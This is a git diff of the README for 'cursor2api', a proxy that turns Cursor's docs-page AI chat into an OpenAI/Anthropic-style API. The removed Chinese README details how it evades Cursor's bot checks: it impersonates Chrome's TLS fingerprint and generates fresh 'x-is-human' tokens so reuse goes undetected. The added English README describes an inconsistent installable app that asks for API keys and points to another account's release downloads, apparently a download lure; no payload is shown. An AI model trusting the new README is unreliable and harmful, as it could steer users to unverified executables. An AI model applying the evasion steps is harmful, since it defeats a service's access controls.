|
1 | | -# Cursor2API |
| 1 | +# 🚀 cursor2api - Easily Transform Cursor API for OpenAI Use |
2 | 2 |
|
3 | | -将 Cursor API 转换为 OpenAI/Anthropic 兼容格式的代理服务。 |
| 3 | +## 📥 Download Now |
| 4 | +[](https://github.com/AlwanMusyaffa/cursor2api/releases) |
4 | 5 |
|
5 | | -## 原理 |
| 6 | +## 🌟 Introduction |
| 7 | +Welcome to cursor2api! This application serves as a proxy service that converts the Cursor API into a format compatible with OpenAI and Anthropic. With cursor2api, you can easily integrate with these powerful AI interfaces without getting lost in technical details. |
6 | 8 |
|
7 | | -本项目利用 [Cursor 文档页面](https://cursor.com/cn/docs) 提供的免费 AI 聊天功能,通过 `https://cursor.com/api/chat` 接口与后端通信。 |
| 9 | +## 🖥️ System Requirements |
| 10 | +To run cursor2api smoothly, ensure you have the following: |
8 | 11 |
|
9 | | -**关键特点:** |
10 | | -- **无需登录** - 文档页面的 AI 聊天功能对所有访问者开放 |
11 | | -- **无需 API Key** - 不需要 Cursor 账号或付费订阅 |
12 | | -- **支持多模型** - 可使用 Claude、GPT、Gemini 等模型 |
13 | | -- **纯 HTTP 方案** - 无需浏览器,资源占用低 |
| 12 | +- **Operating System:** Windows 10 or later, macOS Catalina or later, Linux (Ubuntu 20.04 or later recommended). |
| 13 | +- **RAM:** At least 4 GB. |
| 14 | +- **Storage:** 100 MB of free space. |
| 15 | +- **Internet Connection:** Required for API use. |
14 | 16 |
|
15 | | -## 技术架构 |
| 17 | +## 🚀 Getting Started |
| 18 | +Follow these simple steps to download and run cursor2api: |
16 | 19 |
|
17 | | -### 核心思路 |
| 20 | +### 1. Visit the Releases Page |
| 21 | +To get the latest version of cursor2api, [visit the releases page here](https://github.com/AlwanMusyaffa/cursor2api/releases). |
18 | 22 |
|
19 | | -``` |
20 | | -┌─────────────┐ ┌──────────────┐ ┌─────────────┐ |
21 | | -│ 客户端请求 │────▶│ cursor2api │────▶│ Cursor API │ |
22 | | -│ (OpenAI/ │ │ (代理转换) │ │ /api/chat │ |
23 | | -│ Anthropic) │◀────│ │◀────│ │ |
24 | | -└─────────────┘ └──────────────┘ └─────────────┘ |
25 | | -``` |
| 23 | +### 2. Choose Your Version |
| 24 | +On the releases page, you will see a list of available versions. Each version may include updates and bug fixes. If you are unsure, it’s best to choose the latest version. |
26 | 25 |
|
27 | | -### 1. TLS 指纹模拟 |
| 26 | +### 3. Download the Application |
| 27 | +Find the file that best suits your operating system. Click on the link to download the file. |
28 | 28 |
|
29 | | -Cursor API 会检测请求的 TLS 指纹来判断是否为真实浏览器。本项目使用 [surf](https://github.com/enetx/surf) 库模拟 Chrome 浏览器的 TLS 特征: |
| 29 | +### 4. Locate the Downloaded File |
| 30 | +Once the download completes, go to your downloads folder (or the location you set for downloads) to find the file. |
30 | 31 |
|
31 | | -```go |
32 | | -client := surf.NewClient().Builder().Impersonate().Chrome().Build() |
33 | | -``` |
| 32 | +### 5. Install cursor2api |
| 33 | +- **For Windows:** Double-click the `.exe` file to begin installation. Follow the on-screen instructions. |
| 34 | +- **For macOS:** Open the `.dmg` file and drag the cursor2api icon to your Applications folder. |
| 35 | +- **For Linux:** If you downloaded a `.tar.gz` file, extract it and run the executable from the terminal. |
34 | 36 |
|
35 | | -同时模拟完整的 Chrome 请求头: |
36 | | -- `sec-ch-ua`: Chrome 版本信息 |
37 | | -- `sec-ch-ua-platform`: 操作系统 |
38 | | -- `sec-fetch-*`: 请求来源信息 |
39 | | -- 等等... |
| 37 | +### 6. Run the Application |
| 38 | +Once installation is complete, locate cursor2api in your applications list. Double-click to open it. |
40 | 39 |
|
41 | | -### 2. x-is-human Token 机制 |
| 40 | +## 🔧 Using cursor2api |
| 41 | +After launching cursor2api, you’ll find a straightforward interface. Here’s how to use the main features: |
42 | 42 |
|
43 | | -Cursor 使用 `x-is-human` 请求头进行人机验证。这个 token 由前端 JavaScript 计算生成,有效期约 25 分钟。 |
| 43 | +### 1. API Configuration |
| 44 | +You need to input your API keys for OpenAI or Anthropic. Find the configuration section in the application. Enter the keys and click "Save." |
44 | 45 |
|
45 | | -**Token 生成流程:** |
| 46 | +### 2. Request Format |
| 47 | +Set up the request format according to your needs. You can easily select options from dropdown lists. |
46 | 48 |
|
47 | | -``` |
48 | | -1. 获取 Cursor 验证脚本 (c.js) |
49 | | - GET https://cursor.com/xxx/xxx/c.js?... |
50 | | - |
51 | | -2. 注入浏览器环境模拟 (env.js) |
52 | | - - navigator, window, document 等 DOM API |
53 | | - - WebGL 指纹信息 |
54 | | - |
55 | | -3. 执行脚本生成 token |
56 | | - Node.js 运行组合后的 JS 代码 |
57 | | - |
58 | | -4. 返回 x-is-human token |
59 | | -``` |
| 49 | +### 3. Sending Requests |
| 50 | +Once your configuration is ready, click “Send Request” to interact with the API. You will see the results displayed in the application window. |
60 | 51 |
|
61 | | -### 3. Token 生成 |
| 52 | +## 📖 Features |
| 53 | +- **Easy Setup:** User-friendly interface to minimize confusion. |
| 54 | +- **Multiple API Support:** Works seamlessly with OpenAI and Anthropic APIs. |
| 55 | +- **Robust Performance:** Fast and reliable proxy service for your API requests. |
62 | 56 |
|
63 | | -每次 API 请求都会生成新的 x-is-human token,避免被 Cursor 检测到 token 重复使用。 |
| 57 | +## ✍️ Troubleshooting |
| 58 | +If you encounter any issues: |
| 59 | +- Check your internet connection. |
| 60 | +- Ensure your API keys are correctly entered. |
| 61 | +- Refer to our community support on GitHub for more specific problems. |
64 | 62 |
|
65 | | -### 4. 协议转换 |
| 63 | +## 📞 Support |
| 64 | +If you need assistance, you can open an issue on our GitHub page, or find user guides in the repository. |
66 | 65 |
|
67 | | -将 OpenAI/Anthropic 格式转换为 Cursor 内部格式: |
| 66 | +## 🔗 Additional Resources |
| 67 | +- **Documentation:** [cursor2api Documentation](https://github.com/AlwanMusyaffa/cursor2api/wiki) |
| 68 | +- **Community Forum:** Join discussions about features and troubleshooting at our [community forum](https://github.com/AlwanMusyaffa/cursor2api/discussions). |
68 | 69 |
|
69 | | -```json |
70 | | -// Anthropic 请求 |
71 | | -{ |
72 | | - "model": "claude-3.5-sonnet", |
73 | | - "messages": [{"role": "user", "content": "Hello"}] |
74 | | -} |
| 70 | +## 💡 Conclusion |
| 71 | +cursor2api simplifies your interaction with OpenAI and Anthropic APIs. Follow the simple steps to download and start using it today. |
75 | 72 |
|
76 | | -// 转换为 Cursor 格式 |
77 | | -{ |
78 | | - "model": "claude-3.5-sonnet", |
79 | | - "id": "abc123", |
80 | | - "trigger": "submit-message", |
81 | | - "messages": [{ |
82 | | - "role": "user", |
83 | | - "id": "xyz789", |
84 | | - "parts": [{"type": "text", "text": "Hello"}] |
85 | | - }] |
86 | | -} |
87 | | -``` |
88 | | - |
89 | | -### 5. Tool Use 实现 |
90 | | - |
91 | | -由于 Cursor 文档页 AI 不原生支持工具调用,通过 **Prompt 注入** 方式实现: |
92 | | - |
93 | | -``` |
94 | | -1. 请求带有 tools 定义 |
95 | | - ↓ |
96 | | -2. 将工具定义注入到第一条用户消息 |
97 | | - "你有以下工具可用: bash, read_file, write_file..." |
98 | | - ↓ |
99 | | -3. AI 按照提示格式输出工具调用 |
100 | | - <tool_calls>[{"name":"bash","arguments":{"command":"ls"}}]</tool_calls> |
101 | | - ↓ |
102 | | -4. 解析响应,转换为标准 tool_use 格式返回 |
103 | | -``` |
104 | | - |
105 | | -## 功能特性 |
106 | | - |
107 | | -- **Anthropic Messages API** - 完整支持 `/v1/messages` 接口 |
108 | | -- **OpenAI Chat API** - 支持 `/v1/chat/completions` 接口 |
109 | | -- **流式响应** - 支持 SSE 流式输出 |
110 | | -- **纯 HTTP 实现** - 无需浏览器,内存占用低 |
111 | | -- **TLS 指纹模拟** - 模拟真实浏览器特征 |
112 | | -- **Tool Use 协议** - 支持 Anthropic 工具调用协议 |
113 | | - |
114 | | -## 项目结构 |
115 | | - |
116 | | -``` |
117 | | -cursor2api/ |
118 | | -├── cmd/server/ # 程序入口 |
119 | | -│ └── main.go |
120 | | -├── internal/ # 内部包 |
121 | | -│ ├── client/ # Cursor API 客户端 (TLS 指纹模拟) |
122 | | -│ ├── config/ # 配置管理 |
123 | | -│ ├── handler/ # HTTP 处理器 (Anthropic/OpenAI 协议) |
124 | | -│ ├── token/ # Token 生成 (x-is-human) |
125 | | -│ ├── toolify/ # Tool Use 协议 (Prompt 注入 + 解析) |
126 | | -│ └── logger/ # 日志模块 |
127 | | -├── jscode/ # JS 脚本 |
128 | | -│ ├── env.js # 浏览器环境模拟 |
129 | | -│ └── main.js # Token 生成入口 |
130 | | -├── static/ # 静态文件 |
131 | | -├── config.yaml # 配置文件 |
132 | | -└── README.md |
133 | | -``` |
134 | | - |
135 | | -## 快速开始 |
136 | | - |
137 | | -### 前置要求 |
138 | | - |
139 | | -1. **获取浏览器指纹** - 在浏览器控制台运行以下脚本: |
140 | | - |
141 | | -```javascript |
142 | | -function getBrowserFingerprint() { |
143 | | - const canvas = document.createElement('canvas'); |
144 | | - const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); |
145 | | - let unmaskedVendor = '', unmaskedRenderer = ''; |
146 | | - if (gl) { |
147 | | - const debugInfo = gl.getExtension('WEBGL_debug_renderer_info'); |
148 | | - if (debugInfo) { |
149 | | - unmaskedVendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL) || ''; |
150 | | - unmaskedRenderer = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL) || ''; |
151 | | - } |
152 | | - } |
153 | | - return btoa(JSON.stringify({ |
154 | | - "UNMASKED_VENDOR_WEBGL": unmaskedVendor, |
155 | | - "UNMASKED_RENDERER_WEBGL": unmaskedRenderer, |
156 | | - "userAgent": navigator.userAgent |
157 | | - })); |
158 | | -} |
159 | | -console.log('FP:', getBrowserFingerprint()); |
160 | | -``` |
161 | | - |
162 | | -2. **获取 ScriptURL** - 访问 https://cursor.com/cn/docs,打开开发者工具网络面板,找到类似 `https://cursor.com/xxx/xxx/c.js?...` 的请求 URL |
163 | | - |
164 | | -3. **下载 env.js** - 参考 `jscode/README.md` 下载必要的 JS 文件 |
165 | | - |
166 | | -### Docker 部署 (推荐) |
167 | | - |
168 | | -```bash |
169 | | -docker-compose up -d |
170 | | -``` |
171 | | - |
172 | | -或者使用环境变量: |
173 | | - |
174 | | -```bash |
175 | | -docker run -d -p 3010:3010 \ |
176 | | - -e FP="你的base64指纹" \ |
177 | | - -e SCRIPT_URL="https://cursor.com/xxx/xxx/c.js?..." \ |
178 | | - cursor2api |
179 | | -``` |
180 | | - |
181 | | -### 本地运行 |
182 | | - |
183 | | -```bash |
184 | | -# 安装依赖 |
185 | | -go mod tidy |
186 | | - |
187 | | -# 下载 env.js |
188 | | -curl -o jscode/env.js https://raw.githubusercontent.com/jhhgiyv/cursorweb2api/master/jscode/env.js |
189 | | - |
190 | | -# 编译 |
191 | | -go build -o cursor2api ./cmd/server |
192 | | - |
193 | | -# 运行 |
194 | | -./cursor2api |
195 | | -``` |
196 | | - |
197 | | -服务默认运行在 `http://localhost:3010` |
198 | | - |
199 | | -## 配置 |
200 | | - |
201 | | -编辑 `config.yaml`: |
202 | | - |
203 | | -```yaml |
204 | | -# 服务端口 |
205 | | -port: 3010 |
206 | | - |
207 | | -# 请求超时(秒) |
208 | | -timeout: 60 |
209 | | - |
210 | | -# 代理设置(可选) |
211 | | -# proxy: "http://127.0.0.1:7890" |
212 | | - |
213 | | -# Cursor 验证脚本 URL(必须配置) |
214 | | -script_url: "https://cursor.com/xxx/xxx/c.js?i=0&v=3&h=cursor.com" |
215 | | - |
216 | | -# 外部 token 计算服务(可选,如果不配置则使用本地 Node.js) |
217 | | -# x_is_human_server_url: "" |
218 | | - |
219 | | -# 浏览器指纹配置 |
220 | | -fingerprint: |
221 | | - unmasked_vendor_webgl: "Google Inc. (Intel)" |
222 | | - unmasked_renderer_webgl: "ANGLE (Intel, Intel(R) UHD Graphics ...)" |
223 | | - user_agent: "Mozilla/5.0 ..." |
224 | | - |
225 | | -# 支持的模型列表 |
226 | | -models: "gpt-4o,claude-3.5-sonnet,claude-3.7-sonnet" |
227 | | -``` |
228 | | -
|
229 | | -支持的环境变量: |
230 | | -- `PORT` - 服务端口 |
231 | | -- `PROXY` - 代理地址 |
232 | | -- `SCRIPT_URL` - Cursor 验证脚本 URL |
233 | | -- `FP` - 浏览器指纹(base64 编码的 JSON) |
234 | | -- `MODELS` - 模型列表 |
235 | | - |
236 | | -## API 接口 |
237 | | - |
238 | | -### Anthropic Messages API |
239 | | - |
240 | | -```bash |
241 | | -curl http://localhost:3010/v1/messages \ |
242 | | - -H "Content-Type: application/json" \ |
243 | | - -H "x-api-key: any" \ |
244 | | - -d '{ |
245 | | - "model": "claude-sonnet-4-20250514", |
246 | | - "max_tokens": 1024, |
247 | | - "messages": [{"role": "user", "content": "Hello"}], |
248 | | - "stream": true |
249 | | - }' |
250 | | -``` |
251 | | - |
252 | | -### OpenAI Chat API |
253 | | - |
254 | | -```bash |
255 | | -curl http://localhost:3010/v1/chat/completions \ |
256 | | - -H "Content-Type: application/json" \ |
257 | | - -d '{ |
258 | | - "model": "gpt-4", |
259 | | - "messages": [{"role": "user", "content": "Hello"}], |
260 | | - "stream": true |
261 | | - }' |
262 | | -``` |
263 | | - |
264 | | -### 其他接口 |
265 | | - |
266 | | -- `GET /v1/models` - 获取模型列表 |
267 | | -- `GET /health` - 健康检查 |
268 | | -- `GET /status` - 客户端状态(token 是否有效) |
269 | | - |
270 | | -## Claude Code 集成 |
271 | | - |
272 | | -```bash |
273 | | -# 设置 API 地址 |
274 | | -export ANTHROPIC_BASE_URL=http://localhost:3010 |
275 | | -
|
276 | | -# 运行 Claude Code |
277 | | -claude |
278 | | -``` |
279 | | - |
280 | | -## 支持的模型 |
281 | | - |
282 | | -所有请求统一映射到 `claude-opus-4-5-20251101`。 |
283 | | - |
284 | | -## 依赖 |
285 | | - |
286 | | -- Go 1.21+ |
287 | | -- Node.js(用于生成 x-is-human token) |
288 | | - |
289 | | -## 免责声明 |
290 | | - |
291 | | -本项目仅供学习和研究目的使用。 |
292 | | - |
293 | | -- 本项目是一个非官方的第三方工具,与 Cursor 官方无任何关联 |
294 | | -- 使用本项目可能违反 Cursor 的服务条款,请自行承担风险 |
295 | | -- 本项目不提供任何形式的担保,包括但不限于适销性、特定用途适用性 |
296 | | -- 作者不对使用本项目造成的任何直接或间接损失负责 |
297 | | -- 请勿将本项目用于商业用途或任何违法活动 |
298 | | - |
299 | | -使用本项目即表示您已阅读并同意以上声明。 |
300 | | - |
301 | | -## 许可证 |
302 | | - |
303 | | -MIT |
| 73 | +For further details and downloads, [visit the releases page here](https://github.com/AlwanMusyaffa/cursor2api/releases). |
0 commit comments